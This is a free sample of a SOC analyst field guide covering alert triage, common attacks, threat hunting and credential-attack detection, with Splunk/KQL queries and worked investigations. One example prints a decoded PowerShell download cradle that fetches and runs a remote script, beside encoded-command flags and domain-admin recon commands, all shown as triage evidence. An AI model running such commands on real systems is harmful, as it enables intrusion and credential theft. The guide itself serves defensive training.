

FREE SAMPLE

SOC ANALYST

1 • 2 • 3

THE COMPLETE FIELD GUIDE

50 chapters • worked examples • highlighted key terms

SecTechMaster



Foundation



Advanced Analyst



Senior /
Detection & Hunting



Cloud Security

Get the complete edition at sectechmaster.com

What This Sample Is

This is a free preview of "SOC Analyst 1-2-3: The Complete Field Guide" — a 253-page, 56-chapter career-track guide covering Level 1 (Foundation), Level 2 (Advanced Analyst), Level 3 (Senior / Detection & Hunting), and dedicated Cloud Security tracks for both AWS and Azure/Microsoft 365. This sample gives you two chapters from each of the five parts, exactly as they appear in the full edition — same depth, same layout, same highlighted key terms. Get the complete edition and more resources at sectechmaster.com.

🔑 KEY TERMS TO HIGHLIGHT

Mint-highlighted terms

The vocabulary you need to know cold — highlight these first.

✓ AMBER BOXES = KEY TAKEAWAYS

- The one-line version of each topic — what to remember if you forget everything else.

■ RED/ORANGE BOXES = COMMON PITFALLS

- Mistakes real analysts make at this level — read these twice.

■ NAVY BOXES = WORKED EXAMPLES

A realistic scenario walking the concept end-to-end, with fake but plausible IPs, hostnames, log lines, and queries.

Table of Contents

SOC Level 1 — Foundation	5
SOC Level 2 — Advanced Analyst	14
SOC Level 3 — Senior / Detection & Hunting	22
Cloud Security	30
Azure & Microsoft 365 Security	39

PART I — SAMPLE

SOC Level 1 — Foundation

Goal: Detect and investigate common security alerts.

THE PART I PROGRESSION MODEL



In this sample, you get 2 of the 14 chapters in this part:

- ✓ SOC Fundamentals
- ✓ Common Attacks

+ 12 more chapters in the full edition

A Security Operations Center, or SOC, is the team and the physical or virtual workspace responsible for continuously monitoring an organization's networks, endpoints, and cloud environments for signs of malicious activity. Its mission is simple to state and hard to execute: reduce the time between when an attacker acts and when the organization notices and responds. A SOC brings together people, documented processes, and technology — sensors, log collectors, and analysis platforms — into a single operating rhythm. As a Level 1 analyst, you sit at the front of that rhythm. You are the first human being who looks at a raw alert, and your judgment on whether it is noise or a real threat determines everything that happens next. Understanding the SOC as a system, not just a job title, is the foundation everything else in this book builds on.

KEY TERMS TO HIGHLIGHT

SOC (Security Operations Center)	The team and infrastructure dedicated to continuous monitoring, detection, and response to cyber threats.
Tier 1 / Level 1 Analyst	The frontline analyst who triages incoming alerts, performs initial investigation, and escalates confirmed threats.
Tier 2 / Level 2 Analyst	The analyst who receives escalations, performs deeper investigation, and coordinates containment.
MSSP (Managed Security Service Provider)	A third-party company that operates SOC monitoring and detection services on behalf of client organizations.
Shift Handoff	The structured transfer of open cases, ongoing investigations, and situational awareness between outgoing and incoming analysts.
MTTD / MTTR	Mean Time to Detect and Mean Time to Respond — the two core speed metrics used to measure SOC effectiveness.

Most SOC's are organized into tiers because no single analyst can be both fast and deeply specialized at the same time. Tier 1 analysts handle volume: they watch the alert queue, apply consistent triage criteria, close out false positives, and pass along anything that looks credible. Tier 2 analysts handle depth: they pull threat intelligence, pivot across multiple log sources, and reconstruct what actually happened during an intrusion. Tier 3, where it exists, does threat hunting, malware reverse engineering, and detection engineering — writing new rules so Tier 1 never has to manually catch the same attack pattern twice. This tiered model exists because alert volume in a mid-size enterprise can easily reach thousands of events per day, and only a small fraction

represent genuine risk. Without a triage layer, senior analysts would drown in noise instead of investigating real incidents.

A SOC can be built in-house, entirely outsourced to an MSSP, or run as a hybrid where routine monitoring is outsourced but incident response stays internal. Each model has trade-offs. An internal SOC has deep institutional knowledge of the business — it knows which server is supposed to talk to which, and which admin account normally logs in from where — but is expensive to staff around the clock. An MSSP delivers 24x7 coverage at lower cost and broader visibility across many clients' threat landscapes, but its analysts start every shift with less context about your specific environment. As a Level 1 analyst, knowing which model you work in changes how you write notes: MSSP analysts must document context a client-side reader would already know, while internal analysts can assume shared knowledge but must never skip documentation just because 'everyone here knows that.'

SOC operations run on shifts, because threats do not respect business hours — attackers deliberately favor nights, weekends, and holidays when defenders are thinnest. A typical structure uses rotating 8- or 12-hour shifts with overlap periods built in specifically for handoff. The handoff is not a formality; it is one of the highest-risk moments in SOC operations. An open investigation that is handed off poorly — missing context, unclear next steps, no note of what has already been ruled out — can stall for hours while the incoming analyst rebuilds understanding from scratch, or worse, duplicates work or misses a step the previous analyst intended to do next. Every SOC should have a standard handoff template: open cases, their current status, outstanding actions, and anything flagged as 'watch this' but not yet actionable.

SOC effectiveness is measured with a small set of core metrics. Mean Time to Detect (MTTD) measures how long a threat sits undetected in the environment before an alert fires or an analyst notices it. Mean Time to Respond (MTTR) measures how long it takes from detection to containment. Both numbers matter because attacker dwell time — the period between initial compromise and detection — is directly correlated with damage: ransomware operators who get 72 hours of undetected access can map an entire network and hit backups before encrypting; operators caught in 20 minutes usually cannot. Other metrics include false positive rate, alert-to-analyst ratio, and escalation accuracy. As a new analyst, your individual performance will often be measured on triage speed and accuracy — how quickly and correctly you decide whether something needs to go further.

Finally, understand that the SOC does not exist to catch every attack — it exists to shrink the window between compromise and response to something survivable. No detection stack is perfect, and no analyst catches everything on a first pass. What separates a mature SOC from an

immature one is not a zero-incident record, it is consistent process: documented playbooks, clear escalation criteria, and a feedback loop where missed detections turn into new rules. Every topic in this book — logs, SIEM tooling, packet analysis, frameworks like MITRE ATT&CK, and incident response — exists to serve that one mission: detect faster, decide correctly, and respond before damage compounds.

■ **Worked Example: A Typical Tier 1 Shift Opening**

It is 06:00 and you are starting the day shift at a mid-size retail company's internal SOC. During handoff, the night analyst tells you there is one open case, INC-4471, involving repeated failed logins against a VPN account for user j.alvarez, currently marked 'monitoring, not yet escalated.' You open the SIEM queue and see 214 new alerts since midnight, mostly low-severity antivirus detections already auto-remediated. You triage the queue by severity, and within the first ten minutes find a high-severity alert: Windows Event ID 4625 (failed logon) fired 40 times in 3 minutes against the same VPN account from a foreign IP address, followed immediately by a successful Event ID 4624. You recognize this pattern as a likely successful brute-force login. You check INC-4471 and realize it is the same account — the night shift's 'low and slow' failed attempts just succeeded. You immediately escalate to Tier 2 with the account name, source IP, and timestamp, and disable the account pending investigation, following your SOC's documented containment authority for Tier 1.

✓ **KEY TAKEAWAYS (highlight these)**

- The SOC exists to shrink the gap between compromise and detection, not to prevent every attack.
- Tiered structure (L1/L2/L3) exists because alert volume requires triage before deep investigation.
- Shift handoffs are a high-risk moment — always document open cases with status and next steps.
- MTTD and MTTR are the two metrics that matter most for measuring SOC speed.
- Know whether you work in-house, MSSP, or hybrid — it changes what context you must document.

■ **COMMON PITFALLS**

- Treating handoff as a formality instead of a structured transfer of context.
- Closing alerts based on severity label alone without reading the underlying event.
- Forgetting that a previous shift's "low and slow" activity may have already succeeded.

Most alerts a Level 1 analyst triages, no matter which SIEM or vendor tooling generates them, ultimately trace back to a small set of recurring attack categories: brute force, phishing, malware, scanning, and suspicious PowerShell usage. Rather than treating every alert as a unique mystery, an experienced analyst recognizes these patterns quickly by their characteristic log signatures and behavior, which dramatically speeds up triage and investigation. This topic walks through each of these five attack types individually — what they look like in logs, what tools and techniques attackers use, and what specific evidence confirms or rules them out — tying together the networking, logging, SIEM, and ATT&CK knowledge built throughout this level.

KEY TERMS TO HIGHLIGHT

Brute Force	Repeated automated login attempts against an account, guessing passwords until one succeeds (T1110).
Phishing	A social engineering attack delivering malicious links or attachments via email to gain initial access or steal credentials (T1566).
Malware	Malicious software designed to damage, disrupt, or gain unauthorized access to systems, including trojans, ransomware, and worms.
Scanning / Reconnaissance	Systematic probing of hosts, ports, or services to map an environment before or during an attack (T1046, T1595).
Suspicious PowerShell	Use of Windows PowerShell in ways consistent with attacker activity, such as encoded commands or download cradles (T1059.001).
Living-off-the-Land (LOTL)	Using legitimate, pre-installed system tools (PowerShell, WMI, certutil) to carry out malicious actions and evade detection.

Brute Force: This attack is characterized by a high volume of failed authentication attempts against one or more accounts in a short window, aiming to guess a valid password through sheer repetition. In Windows environments, this appears as a burst of Event ID 4625 (or 4771 for Kerberos pre-authentication failures) against the same account, often from a single source IP, sometimes followed by a successful 4624 if the attack succeeds. On Linux, the signature is repeated 'Failed password' entries in `/var/log/auth.log` or `/var/log/secure` against SSH. A variant called password spraying inverts the pattern — instead of many attempts against one account, the

attacker tries one or a few common passwords against many different accounts, specifically to stay under per-account lockout thresholds, which means the tell-tale signal shifts from 'many failures on one account' to 'one failure each across an unusually large number of distinct accounts from the same source in a short window.' Both map to T1110 Brute Force under the Credential Access tactic.

Phishing: Phishing remains the most common initial access vector into most organizations because it targets the human rather than a technical control. A phishing alert typically originates from an email security gateway flagging a suspicious sender domain, a malicious attachment, or a link to a credential-harvesting page, but the more dangerous cases are the ones that slip past automated filtering and are only caught after a user reports them or after downstream malicious activity is observed. Key evidence includes the sender's actual return-path domain (often subtly different from the spoofed display name), attachment file types inconsistent with normal business communication (an invoice arriving as a macro-enabled .docm rather than a PDF is an immediate red flag), and — critically — what happened after the user interacted with it: did winword.exe or excel.exe spawn a child process like powershell.exe or cmd.exe shortly after the attachment was opened, which is one of the most reliable single signals of a successful macro-based phishing payload executing. This maps to T1566 Phishing under Initial Access.

Malware: Malware alerts typically originate from antivirus/EDR signature or behavioral detections, but a Level 1 analyst's job goes beyond trusting the AV verdict — it is confirming scope and impact. Key questions include whether the malware was successfully blocked/quarantined or actually executed, whether it attempted to establish persistence (new scheduled tasks, registry Run keys, new services), whether it attempted lateral movement to other hosts, and whether it attempted outbound communication to a command-and-control server. Ransomware is the highest-urgency malware category, and its signature — mass file renames with a new extension, ransom notes appearing in multiple directories, and often a spike in disk I/O and CPU usage from an encryption process — should trigger immediate isolation even before full confirmation, given the speed at which encryption spreads across network shares once it begins. Worms, which self-propagate without user interaction (often exploiting an unpatched vulnerability), are distinguished by rapid, automatic spread across multiple hosts with no phishing or credential-theft step required.

Scanning: Scanning and reconnaissance activity is often the earliest visible sign of an attack, whether performed by an external attacker probing the internet-facing perimeter or, more concerning, by an already-compromised internal host mapping the network for lateral movement targets (T1046 Network Service Discovery). The Wireshark signature covered earlier — a flood of SYN packets to many destination ports with few or no completed handshakes — is the classic

technical fingerprint, but SIEM-visible signatures matter just as much: firewall logs showing one source IP generating connection attempts to dozens or hundreds of distinct destination ports or hosts in a short window, often with many DENY/REJECT results interspersed with occasional ALLOW hits where an open port was found. Internal scanning is particularly significant because legitimate internal hosts rarely have a business reason to probe many different ports across many different internal systems — when you see it, it is usually either an authorized vulnerability scanner (verify against an approved scanning schedule) or an attacker already inside the network.

Suspicious PowerShell: PowerShell is a legitimate, deeply embedded Windows administration tool, which is exactly why attackers favor it — using a trusted, already-installed binary to carry out malicious actions is a core living-off-the-land (LOTL) technique that helps evade detection tools looking only for unfamiliar executables. Red flags in PowerShell activity, typically visible in Sysmon Event ID 1 or Windows Event ID 4688 with full command-line logging enabled, include base64-encoded commands (the `-enc` or `-EncodedCommand` flag, used to obscure the actual command from casual log review), execution policy bypass flags (`-ExecutionPolicy Bypass`), download cradles that fetch and execute remote code in memory (patterns using `Invoke-WebRequest`, `Net.WebClient`, or `IEX` — `Invoke-Expression` — often chained together), and PowerShell spawned as a child process of an unusual parent like `winword.exe`, `excel.exe`, or an email client, which strongly suggests a macro-triggered payload rather than legitimate administrative use. This maps to T1059.001 PowerShell under the Execution tactic, and is frequently the pivot point connecting an initial phishing compromise to subsequent persistence and command-and-control activity.

■ **Worked Example: Suspicious PowerShell Triggered by a Phishing Attachment**

An EDR alert fires for host ACCT-WKS-11: 'Suspicious PowerShell Execution — Encoded Command.' You pull the Sysmon Event ID 1 record and see: ParentImage=C:\Program Files\Microsoft Office\WINWORD.EXE, Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, CommandLine=powershell.exe -nop -w hidden -enc JABzAD0ATgBIAHcALQBPAGIAamBl... You decode the base64 payload and find a download cradle: (New-Object Net.WebClient).DownloadString('http://185.199.108.153/stage2.ps1') | IEX. You check the email gateway logs for that user, k.morris, around the time WINWORD.EXE last opened a new file, and find an email received nine minutes earlier from 'billing-support@vendor-invoices[.]co' (a lookalike domain, not the real vendor's actual domain) with an attachment named Invoice_44192.docm. You check the destination IP against threat intel: no match, but the domain-lookalike sender, macro-enabled attachment, encoded PowerShell spawned from Word, and an external download cradle together form an unambiguous attack chain. You escalate immediately as a confirmed phishing-to-execution incident, tagging T1566 Phishing and T1059.001 PowerShell, and recommend network isolation of ACCT-WKS-11 pending Tier 2 review.

✓ **KEY TAKEAWAYS (highlight these)**

- Brute force: many failures on one account (or password spraying: few failures across many accounts) in a short window.
- Phishing: check sender domain authenticity, attachment type, and whether Office spawned a shell process afterward.
- Malware: confirm whether it executed or was blocked, and check for persistence, lateral movement, and C2 attempts.
- Scanning: many destination ports/hosts touched by one source in a short window, often with high deny/reject ratios.
- Suspicious PowerShell: watch for -enc/-EncodedCommand, execution policy bypass, download cradles, and unusual parent processes like winword.exe.
- Living-off-the-land techniques abuse legitimate tools like PowerShell specifically to evade signature-based detection.

■ **COMMON PITFALLS**

- Dismissing PowerShell activity as routine admin work without checking the parent process and command-line arguments.
- Missing password-spraying patterns because triage logic only looks for many failures against a single account.
- Trusting an antivirus "blocked" verdict without checking for persistence or lateral movement that may have occurred first.

PART II — SAMPLE

SOC Level 2 — Advanced Analyst

Goal: Investigate complex attacks and hunt for threats.

THE PART II PROGRESSION MODEL



In this sample, you get 2 of the 16 chapters in this part:

- ✓ Threat Hunting
- ✓ Credential Attacks

+ 14 more chapters in the full edition

Threat hunting is the deliberate, hypothesis-driven search for adversary activity that existing detections have not caught — the opposite mode of operation from alert-driven triage. Where Level 1 work starts with 'an alert fired, investigate it,' hunting starts with 'assume the adversary is already here and evaded our detections; where would evidence of that be?' This requires structured methodology, not ad hoc browsing: forming a testable hypothesis grounded in current threat intelligence or an ATT&CK technique, identifying which data sources could prove or disprove it, running the analysis, and — critically — converting anything found into a permanent detection so the same hunt does not have to be repeated manually next quarter. Hunting maturity is often measured by the Hunting Maturity Model (HMM), from ad hoc procedural hunts up to fully automated, data-driven hunting programs.

KEY TERMS TO HIGHLIGHT

Hypothesis-driven hunting	Starting from a specific, testable statement about possible adversary activity, rather than open-ended log browsing.
Hunting Maturity Model (HMM)	A five-level maturity scale (HMM0-HMM4) describing an organization's hunting capability from minimal to fully automated and data-driven.
Stack counting / least-frequency analysis	A technique that counts occurrences of a value (process name, parent-child pair, scheduled task name) and inspects the statistical outliers.
Pyramid of Pain	A model ranking indicator types by how much cost it imposes on an adversary to change them, from cheap hashes/IPs up to expensive TTPs.
Crown jewels analysis	Identifying an organization's highest-value assets and data first, so hunts can be prioritized toward what attackers most want to reach.
Hunt output / actionability	The requirement that every hunt produce either a confirmed finding, a tuned detection, or documented negative results — never a dead end.

A hunt begins with a hypothesis, and the quality of that hypothesis determines the quality of everything downstream. A weak hypothesis is vague — 'hunt for malware.' A strong hypothesis is specific and falsifiable — 'if an adversary is using WMI for lateral movement in our environment (T1047), we should see Event ID 4688 process creation records for wmiprvse.exe spawning child processes on hosts that do not normally run WMI-based remote administration.' Hypotheses are

typically sourced from three places: recent threat intelligence describing a technique relevant to your industry or observed against peer organizations, gaps identified in existing detection coverage (an ATT&CK Navigator heat map showing which techniques have zero corresponding detections), or anomalies noticed during unrelated investigations that were never fully chased down. The discipline of writing the hypothesis down before touching any data prevents the common failure mode of open-ended log browsing that produces interesting but unstructured observations nobody can act on.

Stack counting, also called least-frequency analysis, is the single most productive technique in a hunter's toolkit because most malicious activity is, by definition, rare relative to the volume of legitimate activity on a healthy baseline. The method is simple: pick a dimension (parent-child process pairs, scheduled task names, service names, outbound destination ports, signed-binary publishers), count occurrences across the environment, and manually review the long tail of values that occur once or a handful of times, since attacker tooling and unique persistence mechanisms tend to cluster there while normal administrative and application activity clusters at high frequency. A query like `index=wineventlog EventCode=4688 | stats count by ParentImage, Image | sort count asc | head 50` in Splunk, or `SecurityEvent | where EventID == 4688 | summarize Count=count() by ParentImage=tostring(...), Image | order by Count asc` in KQL, routinely surfaces process relationships that no signature-based detection was watching for, because the relationship itself, not any single indicator, is what's anomalous.

The Pyramid of Pain should directly inform what a hunter chases and, more importantly, what a hunter converts into a permanent detection afterward. Hashes and IP addresses sit at the bottom of the pyramid — trivial for an adversary to change, so a hunt result that only produces 'block this IP' has a short shelf life. Findings that describe a TTP — 'this actor consistently uses a specific WMI-based lateral movement chain with these exact process-argument patterns' — sit at the top, are expensive for the adversary to change, and are what hunts should be optimized to produce. A mature hunting program explicitly asks, for every finding, 'what is the highest level of the pyramid this evidence supports, and can I write a detection at that level rather than just blocking today's indicator.'

Crown jewels analysis keeps hunting effort aimed at what matters rather than spread evenly across an environment where risk is not evenly distributed. Before hunting broadly, an advanced analyst identifies the assets an adversary would most want — domain controllers, backup infrastructure, code-signing servers, the finance system with wire-transfer authority, customer data stores — and weights hunt hypotheses and data collection toward those systems first. This also shapes what 'good' data coverage looks like: a hunting program with excellent telemetry on workstations but poor logging on the three servers that actually hold the crown jewels has a

coverage gap that matters far more than its aggregate log volume suggests, and identifying and closing exactly those gaps is itself a legitimate and high-value hunt output.

Finally, every hunt must produce actionable output, and 'we found nothing' is only a valid outcome if it is documented precisely enough to be useful later — what data was queried, over what time range, with what logic, and what that implies about detection coverage (a clean result over a data source with poor coverage proves nothing; a clean result over well-instrumented, validated telemetry is a real negative finding worth recording). When a hunt does surface something, the job is not finished at 'confirmed malicious' — the hunter should translate the finding into a standing detection rule (an SPL/KQL correlation search, a Sigma rule, a Wazuh composite rule) so the next occurrence of the same behavior triggers automatically, closing the loop between hunting and detection engineering rather than requiring the same manual hunt to be re-run indefinitely.

■ **Worked Example: Hunting for Living-off-the-Land Lateral Movement**

Recent threat intel on a ransomware affiliate active in your sector describes heavy use of PsExec-style lateral movement via WMI rather than dropped binaries, to blend into normal admin traffic. Your hypothesis: WMI-based lateral movement will show up as wmiprvse.exe spawning unusual child processes on hosts outside the normal server-admin fleet. You run `index=wineventlog EventCode=4688 ParentImage="*wmiprvse.exe" | stats count, values(Image) as children by ComputerName | where count < 5 across the last 30 days`, deliberately using low-frequency filtering rather than a known-bad signature. Two workstations outside the usual admin subnet, ACCT-WKS-19 and ACCT-WKS-22, show `wmiprvse.exe` spawning `cmd.exe /c whoami` and `cmd.exe /c net group "domain admins" /domain` — reconnaissance commands that no legitimate WMI-based management tool in your environment issues. You confirm both hosts are accessed from the same compromised service account seen in a phishing case two days earlier, scope the compromise to those two hosts before further spread, and write a standing correlation rule alerting on `wmiprvse.exe` spawning `cmd.exe` or `powershell.exe` outside the approved admin host group — converting a one-time hunt into permanent coverage.

✓ KEY TAKEAWAYS (highlight these)

- Write the hypothesis down before touching data — vague hunts produce unstructured, unactionable results.
- Stack counting (least-frequency analysis) reliably surfaces the rare relationships signatures miss.
- Optimize hunt findings toward the top of the Pyramid of Pain — TTPs, not just today's IOC.
- Prioritize hunts toward crown jewel assets, where risk is concentrated, not evenly across the estate.
- Every hunt must end in a finding, a new detection, or a documented negative result — never a dead end.

■ COMMON PITFALLS

- Hunting without a hypothesis and calling open-ended browsing a "hunt."
- Treating a clean result as a real negative finding without checking whether the data source had actual coverage.
- Finding something real, remediating it, and never converting the finding into a standing detection.

2

Credential Attacks

Credential attacks span a wide technical range, from brute force (T1110) and password spray against externally-facing services, to Kerberoasting and AS-REP Roasting (T1558) against Active Directory, to direct credential material theft via OS Credential Dumping (T1003) from LSASS, the SAM database, or NTDS.dit. Level 2 analysts need to recognize each technique's distinct telemetry fingerprint, understand why some credential attacks are effectively silent at the network layer (offline Kerberoasting cracking generates zero additional traffic once the ticket is captured), and know the containment implications of each — a dumped LSASS means every credential cached on that host must be treated as compromised, not just the account that was directly targeted.

KEY TERMS TO HIGHLIGHT

T1110 Brute Force	Systematic guessing of credentials, including sub-techniques for password guessing, cracking, spraying, and credential stuffing.
T1558 Kerberoasting	Requesting service tickets (TGS) for accounts with SPNs, then cracking the ticket's encrypted portion offline to recover the service account's password.
AS-REP Roasting	Targeting accounts with Kerberos pre-authentication disabled to obtain a crackable AS-REP response without needing any valid credentials first.
T1003 OS Credential Dumping	Extracting credential material directly from OS memory or storage — LSASS process memory, the SAM hive, or the NTDS.dit database.
NTLM relay	Capturing an NTLM authentication attempt and forwarding it to a different target in real time to authenticate as the victim, rather than cracking the hash.
Kerberos pre-authentication	A Kerberos security feature requiring proof of password knowledge before a ticket is issued; disabling it is what enables AS-REP Roasting.

Brute force and password spray are the noisiest credential attacks and, correspondingly, the most reliably detected — but detection quality depends entirely on distinguishing the two patterns rather than treating all failed-logon volume identically. Brute force concentrates on one or few accounts with high attempt volume (`index=wineventlog EventCode=4625 | stats count by user | where count > 50`), while spray deliberately spreads low volume across many accounts specifically to stay under per-account lockout thresholds (`stats dc(user) as targets, count as attempts by src_ip | where targets > 20 AND attempts < 3*targets`). The operational nuance: many organizations tune detection only for the brute-force pattern because it is more intuitive, leaving spray — which is by far the more common technique against cloud identity providers, since it is specifically designed to survive normal lockout policy — effectively uncovered.

Kerberoasting is fundamentally different because the attack's most expensive phase (offline password cracking against the captured ticket) generates zero additional network or authentication traffic, making the technique nearly invisible once the initial ticket request has occurred. The only reliable detection point is the TGS request itself: Event ID 4769 with an RC4 encryption type (0x17) rather than AES (0x12 or 0x11) is the classic signal, because RC4 remains crackable at reasonable speed while AES-encrypted tickets are computationally far more resistant, and legitimate modern Kerberos clients default to AES when the domain functional level and service

account configuration support it. A single 4769 with RC4 encryption is not necessarily malicious — some legacy service accounts genuinely still use RC4 — but a burst of 4769 requests for many distinct SPNs from one source in a short window, especially with RC4 encryption, is a strong indicator worth immediate investigation, since it matches the batch-enumeration behavior of tools like Rubeus and Impacket's GetUserSPNs.

AS-REP Roasting targets a narrower but often more damaging configuration flaw: accounts with Kerberos pre-authentication disabled, which allows an attacker to request an AS-REP for that account without providing any valid credentials first, and then crack the response offline exactly like Kerberoasting. Because it requires no prior authentication, this attack can even be attempted by an unauthenticated adversary who has merely enumerated valid usernames, making it a serious risk when combined with username enumeration against a domain. Detection depends on Event ID 4768 (TGT request) with the pre-authentication type field indicating no pre-auth was used, and remediation is more durable than detection tuning alone: auditing for and disabling the 'Do not require Kerberos preauthentication' account flag wherever it is not explicitly required is the actual fix, since the detection is really flagging a misconfiguration that should not exist.

OS Credential Dumping is the highest-severity credential attack category because successful execution compromises every credential cached in the targeted memory or database, not just one account. LSASS memory dumping (T1003.001) exposes every logged-on user's credential material cached on that host since their last logon, which is why the containment response to a confirmed LSASS dump must include forced credential resets for every account that had an active or recently-cached session on that host, not merely the account under whose context the dump occurred. NTDS.dit extraction (T1003.003) is categorically worse — it contains every domain account's password hash, meaning a confirmed NTDS.dit theft is a domain-wide event requiring a coordinated organization-wide credential reset (and, for the KRBTGT account specifically, a double reset following Microsoft's documented procedure, since a single reset alone does not fully invalidate golden-ticket material derived from the old hash).

NTLM relay attacks deserve separate attention because they do not require cracking anything — the captured authentication is forwarded live to a different target, authenticating the attacker as the victim in real time against whatever service accepts the relay, often enabling immediate lateral movement or privilege escalation without ever recovering a plaintext password. Detection is less about a single log event and more about network-layer anomalies: unexpected SMB or LDAP authentication traffic between hosts that do not normally communicate directly, or authentication for one account arriving from an unexpected source IP within seconds of an event (like an unexpected print spooler or WebDAV request) known to trigger coerced authentication. Because relay attacks exploit protocol behavior rather than a specific credential weakness, the most durable

mitigations are protocol-level (SMB signing, LDAP channel binding, disabling NTLM where feasible) rather than detection alone.

■ **Worked Example: Scoping a Confirmed LSASS Dump for Credential Reset**

Following the LSASS dump reconstructed via Sysmon on DB-SRV-07 (see Windows/Sysmon Investigation), the immediate question becomes: whose credentials were exposed? LSASS caches material for every session active or recently active on the host, so you pull all logon events (4624) for DB-SRV-07 covering the prior 7 days — a conservative window that accounts for cached credential retention — with `index=wineventlog EventCode=4624 ComputerName="DB-SRV-07" | stats values(LogonType) by TargetUserName, src_ip`. This returns eleven distinct accounts, including two domain admin accounts that had logged on for routine patching three days earlier and were still cached. Because the dump had full access (GrantedAccess 0x1ffff, confirmed earlier) rather than a partial, targeted read, you treat all eleven accounts as compromised rather than assuming only the service account under which rundll32 ran was affected. You initiate forced password resets for all eleven, prioritize the two domain admin accounts for immediate reset and session revocation, and add DB-SRV-07 to an enhanced monitoring list for 30 days in case any reset credential is tested for reuse before the incident is fully closed.

✓ **KEY TAKEAWAYS (highlight these)**

- Distinguish brute force (few targets, many attempts) from spray (many targets, few attempts each) — they need different detections.
- RC4 encryption type on a 4769 burst across many SPNs is the primary Kerberoasting signal.
- A confirmed LSASS dump means every cached credential on that host is compromised, not just one account.
- NTDS.dit theft is a domain-wide event requiring a full credential reset, including a proper double KRBTGT reset.
- NTLM relay needs no cracked password — watch for unusual live authentication forwarding, not just offline attacks.

■ **COMMON PITFALLS**

- Only detecting brute force patterns and leaving password spray, the more common technique, uncovered.
- Treating a Kerberoasting detection with RC4 as automatically malicious without checking for legacy accounts.
- Resetting only the directly-targeted account's password after an LSASS dump instead of every cached credential.

PART III — SAMPLE

SOC Level 3 — Senior / Detection & Hunting

Goal: Lead investigations and build/improve security detections.

THE PART III PROGRESSION MODEL



In this sample, you get 2 of the 14 chapters in this part:

- ✓ Advanced Threat Hunting
- ✓ Purple Teaming

+ 12 more chapters in the full edition

At Level 3, threat hunting stops being an occasional exercise and becomes a structured, repeatable discipline with its own methodology, cadence, and success metrics. A senior hunter does not wait for an alert; they form a hypothesis about how an adversary could operate undetected in the environment, then design a query or analytic to test it against real telemetry. This requires fluency across endpoint, network, identity, and cloud data sources, plus the judgment to know when a hunt has produced a real finding versus environmental noise. The output of a mature hunting program is not just individual catches — it is new detections, closed visibility gaps, and a documented, growing body of institutional knowledge about how the environment actually behaves.

KEY TERMS TO HIGHLIGHT

Hypothesis-Driven Hunting	A hunting method that starts from a specific, testable statement about adversary behavior rather than an open-ended data search.
TTP-Based Hunting	Hunting focused on adversary tactics, techniques, and procedures (mapped to MITRE ATT&CK) instead of static indicators like hashes or IPs.
Pyramid of Pain	A model showing that detections built on TTPs are far more durable and costly for attackers to evade than those built on IOCs like hashes or IPs.
Baseline Deviation	The practice of establishing normal behavior for a host, user, or network segment so that hunters can spot statistically or contextually unusual activity.
Stacking / Frequency Analysis	A hunting technique that counts occurrences of an attribute (parent-child process pairs, rare LOLBins, unusual scheduled tasks) across a fleet to surface outliers.
Hunt Playbook	A documented, repeatable hunt procedure — hypothesis, data sources, query logic, expected findings, and escalation path — that can be handed to another analyst.

The core discipline that separates Level 3 hunting from Level 1 and Level 2 alert triage is hypothesis formation. A hunter starts with a question grounded in threat intelligence, a recent incident, or a known ATT&CK technique relevant to the organization's industry — for example, T1053.005 (Scheduled Task) abuse for persistence, or T1550.001 (Application Access Token) abuse in a SaaS environment. The hunter then defines what evidence would confirm or refute that

hypothesis, identifies the data sources that would contain that evidence, and only then writes the query. This discipline prevents the common failure mode of 'hunting' by simply browsing logs, which wastes time and rarely produces defensible, repeatable results. A good hypothesis is falsifiable and scoped — 'adversaries may be using signed binaries to proxy execution on finance workstations' is hunt-able; 'is anything bad happening' is not.

Effective hunts are built on the Pyramid of Pain: indicators like file hashes and IP addresses sit at the bottom because they are trivial for an adversary to change, while TTPs sit at the top because changing a fundamental technique requires the adversary to retool and retrain. Senior hunters deliberately bias their work toward the top of the pyramid — hunting for behaviors such as LSASS access patterns consistent with credential dumping (T1003), unusual parent-child process relationships (rundll32.exe spawned by an Office document), or anomalous authentication chains in identity providers — rather than chasing a feed of IOCs that will be stale within days. This is also why TTP-based hunting produces detections with a much longer operational shelf life once converted into standing analytics.

Stacking and frequency analysis are the workhorse statistical techniques of hunting at scale. Rather than reviewing events one at a time, a hunter aggregates a field — parent-child process pairs, command-line arguments, scheduled task names, service installations, outbound DNS query patterns — across the entire fleet or a segment of it, then sorts by rarity. Malicious activity is frequently, though not always, an outlier: a rare LOLBin combination that appears on three hosts out of ten thousand warrants investigation precisely because it deviates from the environment's own baseline. This requires the hunter to actually know and periodically re-establish that baseline, since environments drift as software is deployed, decommissioned, or updated, and a baseline built six months ago can generate false leads today.

Cross-domain correlation is what distinguishes a senior hunt from a single-log-source search. A credential-theft hypothesis is rarely proven or disproven from endpoint telemetry alone — the hunter has to pivot from process execution evidence on the endpoint, to authentication logs at the identity provider, to network flow data showing lateral connections, and potentially to cloud audit logs if the credential was used to pivot into SaaS or IaaS. Building this pivot chain requires the hunter to understand each data source's retention, fidelity, and blind spots well enough to know when an absence of evidence in one source is meaningful and when it simply reflects a logging gap that needs to be raised as its own finding.

A hunting program only scales when hunts are documented as reusable playbooks and when findings are converted into permanent detection content. Every hunt should record its hypothesis, the query logic used, the data sources queried, what was found (including negative results, which

are still valuable), and a recommendation: either 'no action,' 'tune an existing detection,' or 'build a new detection.' Negative hunts matter because they document coverage — they prove the organization actively looked for a technique and found no evidence, which is defensible in an audit or post-incident review in a way that silence is not. Mature programs track a hunt backlog against the ATT&CK matrix so leadership can see which techniques have been hunted, when, and with what confidence.

■ **Worked Example: Hunting for Living-off-the-Land Persistence**

A senior hunter reads a new industry threat report describing an intrusion set that establishes persistence via WMI event subscriptions (T1546.003) instead of registry run keys, specifically to evade common endpoint detections tuned only for the latter. The hunter's hypothesis: 'if this technique is present in our environment, we will see WMI __EventFilter and __EventConsumer object creation outside of known software deployment tools.' They query EDR process telemetry and Sysmon Event ID 19/20/21 (WmiEvent) across the fleet, filtering out known-good creators like SCCM and Intune agents. The stack returns two hosts — FIN-WKS-0447 and FIN-WKS-0512, both in the finance OU — with a __EventConsumer named 'UpdateCheck' invoking powershell.exe with an encoded command. Pivoting to command-line telemetry reveals a base64-decoded PowerShell downloader reaching out to a domain registered nine days prior. The hunter escalates as a confirmed intrusion, hands off to IR, and separately opens a detection engineering ticket to build a standing Sigma rule for WMI persistence object creation outside an approved software deployment allowlist.

✓ **KEY TAKEAWAYS (highlight these)**

- Start from a hypothesis, not from 'let's see what's in the logs.'
- Bias detections and hunts toward TTPs, not toward IOCs that expire in days.
